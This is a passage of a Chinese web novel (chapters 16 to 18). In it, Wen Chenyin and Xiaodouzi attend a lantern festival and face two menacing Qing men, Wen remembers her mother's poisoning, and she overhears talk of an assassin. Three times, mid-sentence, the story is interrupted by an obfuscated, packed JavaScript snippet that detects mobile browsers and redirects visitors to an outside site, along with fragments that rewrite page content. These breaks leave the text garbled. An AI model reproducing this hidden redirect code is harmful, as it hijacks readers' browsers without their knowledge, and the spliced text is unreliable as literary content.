小豆子重重一声叹,表情愈发沮丧:“危险倒是没遇到,但是因为太冷,我很快就发起了高烧,在洞里迷迷糊糊地一直昏睡着。后面实在饿的受不了了,就打算出去找点吃的。结果出洞之后没多久,山里忽然又下起了大雪,四下里都是白茫茫地一片,不仅吃的没找到,连回山洞的路也被大雪盖住了。我又饿又累,又找不到回去的路,干脆就一个跟斗倒在了雪地里。就在我觉得自己快要死了的时候,一只野狼忽然出现在我面前…… “啊??那你是如何应付的?” “如何应付?我那个时候跑也跑不动,打又打不过,自然只能闭着眼睛等死了。没想到就在那个时候,一匹火球一样的红色大马忽然跑了出来,冲着那只野狼一阵嘶吼。那只野狼听到嘶吼声,赶紧夹着尾巴逃走了……野狼走了以后,那匹大马就一直在我身边绕圈子,最后还跪了下来,像是想把我驮起来。我想着左右是个死,不如跟着它,说不定还有活命的机会,于是就拼着最后一点力气爬到了它的背上。等我坐稳了以后,它便又跑了起来,最后把我带到了一片干燥的树林里。那个树林里还有很多小红马,大概都是她的亲戚孩子什么的。后来我就靠着喝一匹母马的奶,这才活下来的……” 这段往事小豆子虽然说得轻描淡写,但只要想到他当时的处境,温沉吟还是觉得阵阵惊心。面面相觑了一阵后,她才好不容易缓过了劲儿:“既然那红马性情如此凶悍,豺狼虎豹看着都要退避三分,那它为何偏偏会救你?” “这你就不知道了吧?” 小豆子像是想起了什么有趣的事一样,很是神秘地朝她眨了眨眼:“我从小就被遗弃,马行的老板把我捡回去的时候,我还是个牙都没长全的小毛孩。老板他又是个老光棍,身边连个女人都没有,为了让我活命,他就只能把马奶喂给我喝。那匹母马大概是闻着我身上有熟悉的味儿,把我也当成它的同类了吧?哈哈哈……” 虽说对方笑得没心没肺,温沉吟还是忍不住感觉酸楚,与此同时,她也担心起了那些红马的命运:“你遇到赤睚的事,后来有告诉你老板吗?” “那肯定没有啊!它们可是我的救命恩人,我怎么可能恩将仇报?所以下山之后,我就随便编了套说辞,把老板给应付过去了。” “那就好。” 听闻那些灵性十足的红马逃过了被抓捕的命运,温沉吟也不禁替它们高兴:“那些红马在祁山上自由自在的生活惯了,若是被抓起来,必然会很难受。只可惜它们那么厉害,我却没机会亲眼见到……” “怎么就没机会了?你若想看,我可以带你去啊!” 小豆子这下来了精神,主动往她身前凑了凑:“如今天气太冷了,等到暖和一点,我就带你去祁山,让你见见那些红色的小马!他们知道我带了朋友过去,一定会很开心的!” 大概是因为那句脱口而出的“朋友”,和平日里表现出来的热情与真诚,让温沉吟意识到相识以来,始终满心提防、连姓名也没告诉过对方的自己,似乎有点过于不近人情。 因此当日离开荟英堂之后,她并没有像平日那样直接回府,而是主动问了一句:“今日晚些时候……你可有什么事吗?” 对于她的询问,小豆子似是有些意外:“怎么了??” 温沉吟原本是打算请他吃顿饭表示谢意,然而对方直勾勾的这么一问,反而羞赧了起来。 情急之下,她只能临时编了个借口:“今日是花灯节,街上应该还挺热闹的,你若有兴趣,我们可以一起去瞧瞧。” “灯会什么的就算了吧,那些猜谜的游戏我都不会,夜市上的新鲜玩意我又买不起……” 小豆子似乎对她的提议满是嫌弃,一边啧啧叹气,一边摇头。 温沉吟好不容易起心想要回报他平日里的情谊,却不料对方如此不解风情,心中难免失望。 羞恼之下,她脸色一沉,正要拂袖离去,小豆子却忽然抓住了她的衣袖。 “我话还没说完呢,你干嘛着急走?” “你还想说什么?” “我是想说,虽然灯会没什么意思,但你那么想去,我就勉为其难地陪你去凑个热闹好了!” 大燕开朝以来,帝都之中的夜市文化便十分盛行。 天色才暗,大街上贩卖瓜果甜糕、细画绢扇和各种新鲜器物的小摊子就已经一路摆开,伴随着商贩们热情地吆喝,气氛一片如火如荼。 如今遇上了花灯节,一盏盏造型各异的花灯沿街挂起,灯光透过薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221108|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纱,洒下柔和的光晕,更是应了“千门开锁万灯明,正月中旬动地京”之景。 小豆子和温沉吟并肩穿行在人流里,看着孩子们提着自己心爱的小灯笼,相互打闹嬉戏,年轻的男女们则一边欣赏着美丽的花灯,一边互诉着柔情蜜意,原本强做无谓的一张脸,也很快兴奋了起来。 走走停停了一阵,他像是忽然被什么东西所吸引,瞬间加快了脚步,走到了一个小摊前,满脸期盼地抬起了眼睛。 温沉吟见状,也顺着他的目光看了过去,掠过尾脊轻摆的金鱼灯,长耳高竖的兔子灯,威风凌凌的老虎灯后,最终落到了一盏小马形状的花灯上。 那盏花灯只有手掌大小,周身以竹木为骨,红纸为皮,外观是四蹄凌空飞奔着的模样,明亮的烛火从花灯里透出,让那匹小马看上去越发英姿飒飒,栩栩如生。 见他在摊前驻足,摊主满脸热情的迎了过来:“小伙子,你是喜欢那盏小马灯吧?说起来,我这里的花灯,就这个制作起来最费心了!就那红纸,遇水也不会坏。你若真心喜欢,我便宜点卖给你?” 面对他的兜售,马小六恋恋不舍地收回了目光,露出一脸讪笑:“算了算了。我就是随便看看,可没打算要买……” 见他虽然口中推诿,脸上却都是恋恋不舍,温沉吟猜他大概是囊中羞涩。 自己虽然不缺银子,但以对方的性格,若是贸然替他买下,大概也会伤了他的自尊。 摊主大概也知道这笔生意大概是做不成了,嘟囔了几句后便开始招呼其他客人。 眼见马小六打算要走,温沉吟很快叫住了他:“对了,有件事情,能不能请你帮个忙?” “什么?” “我娘生前很喜欢荷花,你能不能帮我去买一些荷花花灯,一会去河里放了,也算是我对她的一点孝心。” 在花灯节放花灯祈福许愿以寄相思,是燕国历来的习俗。 如今听她有心尽孝,马小六也不疑有它,很快从她手里接过银子:“那有什么难的?你若是累了,便先去河边等着,一会卖好了我去找你!” 不过半炷香的功夫,小豆子便拿着大大小小的十几盏荷花灯跑了回来。 虽然对于温沉吟而言,为母亲放花灯祈福不过是将小豆子暂时支开的借口,但真正到了放灯的那一刻,她的神情还是凝重了起来。 夜幕低垂,蜿蜒的河流在夜色中静静流淌,似是藏着无数不为人知的故事。 温沉吟手捧花灯,将它们一盏盏地地放上水面。 片刻之后,随着水流微微晃动,那些花灯连城了一条闪烁的光带,带着她那些未曾说出口的思念与牵挂顺流而下,逐渐消失在了未知的远方。 见她神色肃然,小豆子也收敛起平日里顽皮跳脱的模样,只是安静地在一旁等待着。 直到那些灯渐渐飘走,他才拍了拍手,笑着宣布:“好了!灯都放走了,你的心意你娘一定都会收到了!” 温沉吟“嗯”了一声,目光落到了他脸上:“既然都来了,你就没打算放为自己的亲人放上几盏灯吗?” “我?” 小豆子摇了摇头,笑容里泛上了一丝苦涩:“我从来没见过我娘,也不知道她喜欢什么。至于其他亲人,应该都过得比我好,好像也没什么需要我祈福许愿的……” 在他满是寥落的声音里,温沉吟从怀中拿出了一盏叠好小马灯递到了他手里:“既是如此,这个就送给你吧!咱们已经是朋友了,这算是我对你的一点心意。祝你以后能万事顺遂,平安喜乐。” 看着她手里那盏被叠得整整齐齐的小马灯,小豆子脸上又是惊喜,又是踌躇。 犹豫了好一阵,他才小心翼翼地接在了手里,口气也变得有点为难:“俗话说,往而不来非礼也。你都送礼物给我了,我怎么着也得回个礼。可是我今天没带银子,身边也没什么合适的东西,一时间还真想不到能有什么礼物的东西给你……” 温沉吟不想他因此为难,赶紧笑着安慰道:“你不是答应过会带我去祁山看小红马吗?这个礼物就已经很好了,你别忘了就行!” “可咱们不是还没去嘛?那怎么能算?” 小豆子皱着眉头又唉声叹气了好一阵,才像是彻底下定了决心:“算了算了,你的礼物我就先收着。反正以后见面的机会还多,等我想到了有什么适合你的礼物,再找来送给你就是了!” 16. 噩梦 收到了那只小马灯之后,小豆子像是已然心满意足,也不再去各种摊位上凑热闹,而是一路把它紧护在怀里,小心翼翼地避让着人群,像是害怕它会被挤坏了一般。 温沉吟见状,也知道他没什么再继续逛下去的心思,于是干脆就近找了间酒楼,打算先将肚子填饱,再各自回家。 他们进的那家酒楼名为饕然居,因为地处闹市中心,装修精致,掌勺的厨子又曾经在宫里干过,所以生意向来十分火红。 如今赶上了花灯节,来往的客人更是络绎不绝,乍看之下,竟是客流满满,没有一处空座。 还好小豆子眼尖,进门之后就先一步跑上二楼后,瞄准了一桌即将结账的客人。 等到客人刚一起身,他就立马窜了过去把桌子占了,两人才总算是安安稳稳地坐了下来。 只是酒楼里生意太好,小伙计忙着传菜算账,打扫残局,一时间也顾不上他两。 小豆子等了一阵,始终不见有人过来点菜,正准备起身招呼,一只手忽然从背后伸了过来,重重拍了拍他的肩膀:“臭小子,吃完了就赶紧走!别在一直在这占着桌!” 小豆子神情一愣,赶紧扭身向后看去。 在他身后站着的,是两个三十多岁的中年男人。 靠前站着的那个身材五短,满脸横肉,模样看上去粗鲁又嚣张。 站在他身后的那人又高又瘦,样貌平淡,但从那一脸冷漠的表情来看,显然也不是什么好相处的角色。 小豆子江湖经验丰富,一看两人的外形,就知道了脾气应该不太好,于是赶紧陪起了笑脸:“这位大哥,您误会了,我们也是刚坐下,还在等着点菜呢!” “刚坐下?” 矮胖子皱了皱眉,口气里都是不耐:“我们兄弟着急吃饭,你们既然没点菜,就换个地方吃,这张桌子我们要了!” 江湖中人虽然大多不怎么讲究礼数,但身在帝都之中,会蛮不讲理到这种地步,倒也十分少见。 小豆子像是被他那理所当然的模样惊到了,但犹豫之下,还是摇了摇头:“吃饭也得讲究个先来后到,既然我们先到,那自然这张桌子就是我们的,哪有你说要就要的道理?” 见他不肯相让,那矮胖子像是有些恼怒,但在四周食客们的注视下,终究还是忍了忍,很快从口袋里掏出了些碎银子出来,重重地拍在桌上:“这些银子就当老子赏你了,你拿了就赶紧滚!别在这儿罗嗦了。” 看他这举动,很明显是看他们年纪幼小,身边又没有什么能说的上话的长辈,就想用银子直接打发了。 小豆子见状,扣扣索索地从口袋里掏出了一枚铜板,小心翼翼地放在了那堆银子里,然后重新推了回去:“大哥,照你您意思,要不我再给您加点,还是您赶紧换个地方?” 他这以彼之道还之彼身的做法瞬间引来一阵哄笑。 矮胖子只觉得恼羞成怒,脸色一变,右手手已经握到了腰刀上,似乎就要当场发作。 几乎同时,听到动静的店伙计已经赶了过来,眼见形式不对,赶紧拼命打起了圆场:“这位爷,您别着急,楼下有张桌子已经在收拾了,我这就给您安排上!” 矮胖子问言狠狠啐了一口,嘴里不干不净地骂了一句“有娘生没娘养的小贱种”,随即就打算转身。 温沉吟原本不欲与他废话,此刻听他骂得难听,不由得皱了皱眉:“稍等一下。” 矮胖子一愣,脚步顿在了原地:“你还想干嘛?” 温沉吟面无表情地朝桌上的银子指了指:“赏给你的银子,别忘了带走!” 矮胖子被她冷声嘲讽,只觉勃然大怒,转身之后“刷”地一声抽出了腰刀,直直指向了她的鼻尖。 精光芒动之下,原本都在看热闹的食客们都慌乱了起来,瞬间发出了阵阵尖叫。 小豆子见势不妙,立马起身张开双臂挡在了她身前,口中还不忘提醒:“银子你不要就不要,好端端的何必动手!当街行凶罪行可不小,你可想清楚了!” 矮胖子蛮横惯了,哪会将两个半大的孩子放在眼里,脸上很快就挤出了一丝狞笑:“你们这些个小贱种,杀了也就杀了!我倒是要看看谁吃了熊心豹子胆,敢来管老子的闲事?” 温沉吟抬起眼睛,直视着他:“按照我大燕律法,皇子犯法亦与庶民同罪。这饕然居地处帝都闹市,四下都是巡城的兵马。你若敢伤我,立马就会被抓起来,到时候无论你是何身份,都会按照律法下狱!你若不信,大可试试!” 矮胖子原本见他们衣着简朴,大概就是没怎么见过世面的平民百姓,于是便肆无忌惮地恐吓着,让他们知难而退。 此刻见她年纪虽轻,却不慌不乱,言辞之中气势凌然,一时间也犹豫了起来。 僵持之间,一直默不作声站在他身后的高个子男人踏前一步,轻轻拍了拍他的肩膀:“阿迟,算了……咱们还有正事要办,何必在这和两个小孩置气?真把事情耽误了,主上怪罪下来,那可就不好解释了!” 他说话时似乎只有嘴唇微动,其余五官僵在脸上,一派木然,看上去一派死气沉沉 但那矮胖子却像对他很是信服,听他这么一劝,立马将腰刀一收,恶狠狠地朝着温沉吟的方向瞪了几眼后,便跟在了他的身后。 等到二人都下了楼,小豆子才一脸惊魂未定的重新坐了下来,嘴里碎碎念道:“刚才那小伙计都已经差不多把他们给哄走了,你干嘛还要去招惹那矮胖子?” 温沉吟闻言并不答话,却依旧还是沉着脸,显然余怒未消。 小豆子怕她误会,又赶紧解释道:“我说这话不是要怪你,只是庆国人原本就嚣张野蛮,在我大燕挑衅生事也是常有的事。你如今得罪了他,以后可要小心点,若是真被他逮住了机会寻仇报复,那可真就白受罪了。” 温沉吟这才抬起眼睛:“你说他们是庆国人?” “是啊!” 小豆子满是笃定地点了点头:“我曾经和马行的老板在庆国呆过一阵,所以对当地的文化习俗都有些了解。刚才那两个人虽然着装打扮与我燕国人无异,说话时也在尽力掩饰,但那矮胖子生气时说得那几句话,还是带着很明显的庆国口音!” 温沉吟闻言越发气恼:“庆国大军对我燕国屡屡挑衅,如今不过是两个普通的江湖人竟也行事嚣张,不知收敛!实在是可恶!” “说不定他们也不是普通的江湖人呢?不过无论他们是何身份,今天咱们这梁子算是结下了。以后你若再见到他们,可千万得避着点,知道了么?” 在他絮絮叨叨的提醒声中,温沉吟心下一动,扭头朝着楼底的方向望去。 两个男人已经出了饕然居的大门,此刻正一前一后地走在长街之上。 仿佛心有灵犀一般,就在温沉吟将目光落在那个高个子男人身上时,对方忽然转过身来,也抬眼看向了她的方向。 四目交汇的那一瞬,一直面无表情的男人忽然挑起了嘴角,朝她露出了一个微笑。 一个人若是面露笑容,除了嘴角弯起之外,眼睛、眉毛和两颊的肌肉必定会随之牵动 可那瘦高个的笑容却十分诡异,似是被看不见的丝线拉着嘴角用力向上扯。脸上的其余器官却依僵硬如初,让他即便在做表情时,也木讷如人偶。 电光火石之间,那个笑容犹如一道闪电,劈进了温沉吟的眼底,让沉寂她深藏的记忆深处的噩梦骤然复苏。 那场噩梦发生时她还叫温琇,是个只有五岁大的小女孩。 她的母亲谢安凝尚在人世,对她关心备至,宠爱有加。 已经年满三岁的温珩也十分机灵可爱,总是喜欢小跑着追在她身后,奶声奶气地一直叫着“姐姐”。 那时候的她,父母身体安康,幼弟机灵可爱,自觉是全天下最幸福的小女孩。 如果要说还有什么缺憾,那就是父亲温北堂常年忙于公务,很少有时间陪伴在他们母女身边。 中秋那日,像是为了弥补一直以来的亏欠,离家之前,温北堂主动表示公务忙完之后会早些回府,与家人一同喝酒赏月。 听闻这一消息后,谢安凝一大清早便开始忙碌了起来,不仅特意备下了许多丈夫喜欢的吃食,还将花园妆点了一番,就盼着大家能一起团团圆圆地过个节。 然而随着暮色西沉,月色渐显,她一心期盼着的丈夫,却始终没有回来。 对于父亲的失约,温沉吟难免心下沮丧,情绪低落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221109|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 年幼的温珩更是眼巴巴地看着那一桌子的菜肴,就盼着能够早点开席,吃上自己最喜欢的红糖山药糕。 但谢安凝却并未因此而流露出半点不满,在哄着两个孩子吃了点东西后,就让下人先将他们送回房中休息,自己则去了琴房,耐心地练习起了想要在中秋夜宴上弹奏给丈夫听的乐曲。 一直心怀期盼的温沉吟面对这冷清清的场面实在觉得无聊,回房练了一会字后,干脆将笔一扔,就打算去找弟弟。 刚跑进院子,她却看到一道熟悉的人影微埋着头,正从不远处的长廊处匆匆而过。 温沉吟心下大喜,赶紧拎起裙角,快步跑了过去,嘴里还不忘招呼道:“爹!你终于回来啦!吃过饭没有?娘今天做了好多好吃的,就等着你回来呢!” 男人身影一滞,脚步停了下来,一张脸却板得死死的,看向她的目光里也没有丝毫笑意。 眼见如此,温沉吟瞬间想起了平日里他对自己的那些规训,立马放慢了脚步,连声音也变得小心翼翼:“爹,琇琇只是太想您了,并不是要故意大呼小叫的……” 男人这才点了点头,低声问道:“你娘呢?” 这个问句听上去有些奇怪,声音带着一种奇怪的暗哑,并不似他平日里说话那般明亮醇厚。 温沉吟只当他是太过疲累,于是也没在意,只是老老实实地回答道:“娘在琴房,说是想把赏月时弹奏的曲子再练习一下。您既然已经回来了,我这就去告诉她!” “不必了……” 男人摇了摇头,态度很是冷淡。 没等温沉吟再说话,他却已经将一个食盒递了过来:“我有要事在身,还得出门一趟。这些糕点是宫里赐下的,你和你娘一起尝尝吧。” 温沉吟把食盒接在手中,随意看了看。 那食盒制式精致,拎在手里感觉沉甸甸的,但她心中却只觉失望:“爹,这么晚了您还要出门,那什么时候能回来啊?若是太晚,弟弟睡下了,咱们就不能一起过节赏月了。” “宫中事务繁忙,等处理完了,我自然就回来了。” 男人似乎急于出门,简单应付了两句后,便朝着大门的方向走去。 走出几步之后,他像是意识到温沉吟依旧恋恋不舍和的站在原地,于是回过头来,冲她笑了笑:“你别傻站在那了,赶紧把糕点给你娘送过去。你娘若是问起,你就说这些糕点是我遣人送回来的,别说我回来过,免得她又多想……知道了么?” 温北堂为人端肃,即便是对待家人,也很少有姿态柔软的时候。 自懂事以来,温沉吟鲜少见他对自己如此温柔,虽然那个笑容看上去僵硬又怪异,像是有几根看不见的线在将男人的唇角向上提,但满心欢喜之下,她还是挤出了一个大大的笑容:“放心吧爹,我知道了!” 男人走了以后,温沉吟第一时间就将食盒送到了琴房里,交到了谢安凝手里。 听闻丈夫特意遣人送了点心回家,谢安凝很是高兴,于是特意打开食盒,挑出了几块打算先让女儿尝尝。。 那些糕点看上去十分精美,味道也甜香扑鼻,让人很有胃口。 只是温沉吟不久前刚用了些粥食,并不觉得饿,于是接过那些糕点后,便随手拿起一块,撒娇般的塞到了谢安凝的口中。 女儿乖巧孝顺,谢安凝也不愿让她失望。 不料那块糕点才入口不久,她却忽然脸色骤变,很快就捂着腹部低声呻吟,然后慢慢软到在了地上。 发现母亲情况有异,温沉吟顿时慌乱了起来,在她的腹部揉弄好一阵,却始终不见效果。 情急之下,她也不敢再耽误下去,赶紧就冲出了琴房,准备去叫大夫。 刚冲进院子,一道迎面走来的高大的身影却忽然堵在了她的身前。 没等她彻底站稳,略带责怪的声音已经从头顶传来:“这大晚上的,你一个姑娘家这样四下乱跑像什么样子……你娘呢?已经睡下了吗?” 温沉吟慢慢抬起头,看着月光之下那张熟悉的脸,一时间只觉得又是困惑,又是惊恐。 半晌之后,她才颤抖着挤出了一个问句:“爹……这个问题,你方才不是已经问过了么?” 17. 秘事 后来温沉吟才知道,那天夜里,有人借着温北堂忙于公务,无法按时归家的机会,易容乔装成了他的模样,将一盒下了毒的糕点带进了温府。 因为对府中的情形不熟,才会一路观望着四下游走。 如果不是遇到她,对方短时间内或许根本无法找到目标,一直在琴房练琴的谢安凝也完全可以避开这场祸事。 可偏偏是她满心欢喜之下,主动叫住了对方,才会阴差阳错地将这些下了毒的糕点亲自送到了自己母亲口中。 得知谢安凝中毒之后,温沉吟又是惊惶,又是自责,成日守在她的床前,不眠不休,生怕自己一旦阖眼,就难以再和母亲相见。 比起她的那焦灼不安的反应,温北堂的反应却显得格外淡漠。 除了事发当日,他叫来了大夫,在妻子的床前守了一天一夜外,此后的每一天,他就像是无事发生一般,依旧早出晚归,一心只沉溺于公务。 即便回到家里,他也只是会坐在床头简单和妻子说上几句话,知道她有在按着大夫的方子按时吃药后,便也就不再多过问什么。 时日一久,温沉吟那颗原本满是自责的心里,不禁生出了些许恨意。 她开始觉得,若不是温北堂一心忙着追名逐利,对公务的重视远胜家人,中秋那日又背信失约,她又怎么会被奸人所骗,连累母亲中毒。 错认父亲的事实就此成为了深埋在温沉吟心中的一根刺,让她深刻的意识到,这天下间谁都有可能欺骗你,即便是你身边最亲近的人。 原本这颗刺,在谢安凝的身体逐渐转好之后,已经变得没有那么尖锐,然而接下去发生的一切,却再次让她遭遇重创的心再次变得千疮百孔。 那是谢安凝中毒之后的第十天,温北堂难得告假留在了府中。 时至黄昏,他将一直在房中休养的妻子扶了出来,说是想带她出门散散步。 温沉吟一直记得,那个黄昏微风袭袭,落日璀璨,空中云霞满天,充满了诗情画意,是个温柔又浪漫的时刻。 原本她也想跟同而去,但又不愿破坏父母之间难得一间的温馨的场面,于是只能牵着温珩的手,乖巧地留在了府中。 出门之前,谢安凝像是有些放心不下自己的一双儿女,于是主动走到她身前,一边摸着她的脸,一边轻声交代道:“娘生病的这段日子,实在是辛苦你了。咱们琇琇懂事又能干,娘没有什么可担心的。只是阿珩还小,还需要人照顾教导,你这个当姐姐的,以后可要将他照顾好……” 温沉吟不明白母亲为何要忽然和自己说这些,但还是重重点了点头:“娘你放心,以后我一定会好好管教阿珩。若是有哪里做得不对,娘只管教导就是了……” 谢安凝看着她,脸上挂着温柔的笑意,眼眶却迅速泛红。 紧接着,她有拉住了温珩的手:“阿珩也是个好孩子,知道心疼姐姐。只是以后你也要乖乖听姐姐的话,长大以后更要将姐姐保护好,知道了吗?” 温珩忽闪着一双大眼睛,像是并不明白她究竟在说什么。 但在温沉吟的暗示下,还是奶声奶气地应道:“阿珩知道了!阿珩会听话。” 谢安凝满是欣慰地点了点头,伸手将她和温珩紧紧抱进了怀里。 眼泪留下来之前,她温柔地亲吻了他们的额头。 那天夜里,温沉吟将温珩哄睡之后,就一直等在院子里。 她想等谢安凝回来,亲眼见到她把药喝下之后,再回房休息。 随着夜色变深,霜露渐重,一直在院子里撒欢的小狗都已经偃旗息鼓地回了窝,但温北堂和谢安凝却始终都没有回来。 温沉吟坐在廊下,眼睛紧盯着大门的方向,不知什么时候,意识开始逐渐变得模糊。 等她在一阵啼哭声中懵懵懂懂地睡梦中醒来时,天色已经泛白。 紧接着,她看到谢安凝双眼紧阖,冰冷的身体上盖着白布,被人小心翼翼地抬进了院子。 温珩似乎也被哭泣声所惊扰,懵懵懂懂地跑了出来,拉扯着谢安凝的衣袖哭闹着不肯离去。 但她却僵在原地,心中只觉得疑惑,明明母亲出门前,一切都还好好的,怎么仅仅一个晚上,人就再也醒不来了。 不久之后,从旁人那些零零碎碎的议论声中,温沉吟终于得知了母亲死亡的真相。 因为温北堂深得皇帝信任,又时常能在御前走动,因此有人想以他为突破口,从宫中拿到一份十分机密的军事奏报。 只是碍于他刚正不阿的性格,只靠普通的手段实在难以收买,图谋之人才会选择了在他家人的身上做文章。 当初的糕点事件,便是这场阴谋的开始,只是因为事情发现得早,上门治病的大夫又医术高超,才总算是保住了谢安凝的性命,未能让阴谋得逞 然而温北堂并未因此而选择息事宁人,而是一心想找出幕后的真凶。 因此,他假称妻子所中之毒已经无药可解,答应了对方以机密奏报换取解药的要求。 交易当日,温北堂按照对方的要求,带上谢安凝一起去往了城郊的一座荒庙之中。 但在此之前,他早已经安排人手在荒庙的四周布下的天罗地网。 一旦幕后之人显身,便会成为瓮中之鳖,再难逃脱。 然而不知是哪个环节出了问题,两人在荒庙之中等了足足有半炷香的时间,那个处心积虑,想要拿到奏报的人却始终没有出现。 随着时间一点点过去,气温开始变得寒冷,谢安凝的神情也逐渐委顿,似是难以继续支撑,温北堂终于决定放弃这次的抓捕计划,先行回家,再做打算。 不料就在两人即将离开之际,庙外忽然冲入了几道人影,与他死死地缠斗在一起。 与此同时,随着几声轻微的爆破,原本歪歪斜斜的佛像下方竟然涌出了大量毒烟。 温北堂不知那些人是如何避开重重包围潜入庙内,却也知道自己中了敌人的埋伏,情急之下,他只能努力护住妻子,且战且退的冲出了寺庙。 等到围守在四周的人听到动静,赶来应援之时,几个围攻温北堂的死士或是已经死于他的剑下,或是已经服毒身亡。 然而原本就尚未完全康复的谢安凝在吸入了那些毒烟之后病情再度加剧,没等大夫赶来,就在剧烈的呕血之后停止了呼吸。 得知真相的温沉吟在痛苦之余,越发加深了对父亲的恨意。 在她看来,若不是温北堂为了自己的前途,执意要抓出那个索要军机情报之人向皇帝邀功,母亲原本是不用赌上性命,陪他去冒这个险的。 自那日起,她对那个薄情寡义的父亲态度开始变得冷淡,即便对方在谢安凝的葬礼之后大病了一场,接连半月卧床不起,她也从未主动探望过。 期间她更是不顾旁人反对,将自己的名字从“温琇”改成了“温沉吟”,只是为了告诫自己凡事多思多想,不能再轻信任何人。 此后的漫漫数年里,她遵守着对母亲的承诺,一边努力成长,一直用心的管教和呵护着温珩,没让他受过半点委屈。 但与此同时,她对温北堂的憎恨也在与日俱增,很快成为了叛逆和不孝的代名词。 如今十多年过去了,事发时的种种细节已经因为时光的冲刷逐渐变得行迹模糊。 但那个乔装者当日离去之时的那个僵硬怪异,带着嘲讽的笑容,却犹如梦魇一般,始终深埋在她的记忆深处。 见她目光怔怔,似是陷入了沉思之中,小豆子轻轻敲了敲桌子:“喂!你怎么了?在想什么呢?” 温沉吟这才收回目光,冲他点了点头:“这酒楼生意太好,厨房里的大师傅只怕一时半会也忙不过来。我想着街道转角的那家铺子里有卖绿豆糕,要不你先买些回来垫垫肚子?” “好啊!你若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221110|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想吃,我去买就是!” 一路等了这么久,小豆子像是也饿了,听她这么一说,立马脚步匆匆地冲下了楼。 等他的身影消失在街角后,温沉吟立马也起身下楼,顺着那两个男人前行的方向追了过去。 索性她运气不错,刚刚追过了两条街口,那两道熟悉的人影就已经重新出现在了她的视野中。 温沉吟担心跟得太近会打草惊蛇,于是放缓了脚步,行动变得越发小心谨慎。 直到看到两人在街边买了一些酒水卤菜,然后拐进了深巷之中一座久无香火的破旧祠堂后,才小心翼翼地蹲在了门边,悄然观察起着里面的动静。 事实上,她心里也很清楚,当初那下毒者易了容,即便此刻就站在她身前,她也未必认得出来,但那个僵硬古怪的笑容是她唯一的线索,让她忍不住想要抓住点什么。 沉默之间,祠堂内传来了一阵动响,像是两人已经摆开了食物,开始大快朵颐。 一阵风卷残云之后,那个矮胖子心满意足地打了嗝,然后哼声抱怨了起来:“想我兄弟二人在庆国之时也是有头有脸的人物,如今却被主上安排来了燕国,整日尽干些窜巷寻人的小事,实在是让人憋屈得很!” 比其他那满腹抱怨的态度,瘦高个显然要淡定得多:“主上这样安排,自然有他的道理。何况如今你我所做的,也并非只是小事。” “并非小事?” 矮胖子哼了哼,似是不以为然:“那你和我说说看,那个名叫曹方的家伙已经在江湖上销声匿迹了十多年,主上还一心想要把他找出来,究竟是想干什么?” 瘦高个笑了起来:“自然是想让他永远闭嘴,不然还能干什么。” 矮胖子沉默了一下,声音压低了些:“说起来,这曹方当年也算是个人物。如今既然消失的那么久,主上为何不肯放他一条生路?” 瘦高个轻声一叹,似有兔死狐悲之感:“身为杀手,手上沾了那么多血,能得到善终的又有几个?何况谁让他当年办事不利,不仅没能完成任务,还错杀了一个女人……” 听到这个回答,温沉吟只觉得心下一跳,忍不住捏紧手心,将身体凑得更近了些。 而矮胖子的声音也再次响了起来:“你说的这件事,我倒是隐约听说过。据说当年曹方接到的任务,原本是要刺杀的燕国的一位重要人物,没想到动手之前,却先一步撞见了他的夫人,情急之下才动了手……可我一直想不通的是,那女人即便身份尊贵,但毕竟是个燕国人,她的夫君又是主上的死敌。为何十多年过去了,主上还如此在意此事,一心想要杀掉曹方?” 瘦高个似是犹豫了一下,才低声警告道:“你这人藏不住事也管不住嘴,有些事还是少知道为好,免得引火烧身,丢了性命!” 矮胖子显然有些不服气,立马抬高了声音:“其实你不说我也能猜到,想杀曹方的未必就是主上,而是另有其人!只是因为那个人身份特殊,不便动手,才会借主上之手,来料理此事……” 瘦高个似是有些吃惊:“如此说来,你已经知道那人是谁了?” “那是当然!” 矮胖子嘿声笑了起来:“你我此次入燕,但凡想办点什么事,都有人暗中照拂。能在燕国有如此能量,又能让主上替他办事的,不就只有……” 话刚说到这里,不远处忽然响起了一阵犬吠。 那瘦高个也像是骤然觉察到什么一般,厉声呵斥道:“闭嘴!隔墙有耳!” 温沉吟心下一颤,已知大事不妙,扭身就向往外跑。 刚跑了没两步,身后一阵疾风袭来,她只觉背心一痛,已经被重重一掌劈倒在地。 没等她抬起眼睛,一阵狞笑声已经在耳边响起。 “搞了半天原来是你啊?刚才老子还想着你运气好,捡回了一条小命。如今既然自己送上门了,那就只能自认倒霉了!” 18. 心愿 被劈到在地的那一刻,温沉吟便知道自己大概是劫数难逃了。 如果只是酒楼里的那点风波,她相信自己大概还有机会和对方周旋,保住一条性命。 